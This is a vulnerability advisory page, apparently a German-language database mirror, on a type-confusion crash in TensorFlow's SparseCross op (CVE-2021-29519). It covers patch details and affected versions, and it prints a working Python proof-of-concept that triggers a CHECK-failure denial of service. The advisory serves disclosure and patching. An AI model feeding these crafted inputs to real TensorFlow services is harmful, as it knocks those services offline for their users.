CHECK-fail in SparseCross due to type confusion
Impact
The API of tf.raw_ops.SparseCross allows combinations which would result in a CHECK-failure and denial of service:
import tensorflow as tf
hashed_output = False
num_buckets = 1949315406
hash_key = 1869835877
out_type = tf.string
internal_type = tf.string
indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)
indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)
indices = [indices_1, indices_2]
values_1 = tf.constant([0], dtype=tf.int64)
values_2 = tf.constant([72], dtype=tf.int64)
values = [values_1, values_2]
batch_size = 4
shape_1 = tf.constant([4, 122], dtype=tf.int64)
shape_2 = tf.constant([4, 188], dtype=tf.int64)
shapes = [shape_1, shape_2]
dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)
dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)
dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)
denses = [dense_1, dense_2, dense_3]
tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,
num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)The above code will result in a CHECK fail in tensor.cc:
void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {
CHECK_EQ(dtype(), expected_dtype)
<< " " << DataTypeString(expected_dtype) << " expected, got "
<< DataTypeString(dtype());
...
}This is because the implementation is tricked to consider a tensor of type tstring which in fact contains integral elements:
if (DT_STRING == values_.dtype())
return Fingerprint64(values_.vec<tstring>().data()[start + n]);
return values_.vec<int64>().data()[start + n];Fixing the type confusion by preventing mixing DT_STRING and DT_INT64 types solves this issue.
Patches
We have patched the issue in GitHub commit b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-cpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-gpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
Verweise
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-772j-h9xw-ffp5
- https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025
- https://nvd.nist.gov/vuln/detail/CVE-2021-29519
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-447.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-645.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-156.yaml
- CVSS-Vektor
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L- Schwäche (CWE)
CWE-843- Plattform
- Python (PyPI)
- Paket
tensorflow, tensorflow-cpu, tensorflow-gpu- Veröffentlicht
- 14.05.2021
- Aktualisiert
- 11.10.2026 13:19
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2021-156 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-447 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-645 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-772j-h9xw-ffp5 - CC BY 4.0
Schwachstellenhistorie: tensorflow-gpu
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 427
- Erste → letzte
- 04.2019 07.2024
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 6
- Hoch 109
- Mittel 207
- Niedrig 105
Veröffentlichungen pro Jahr
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 18
- 2024: 1
- 2025: 0
- 2026: 0
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CHECK-fail in SparseCross due to type confusion dieser Eintrag
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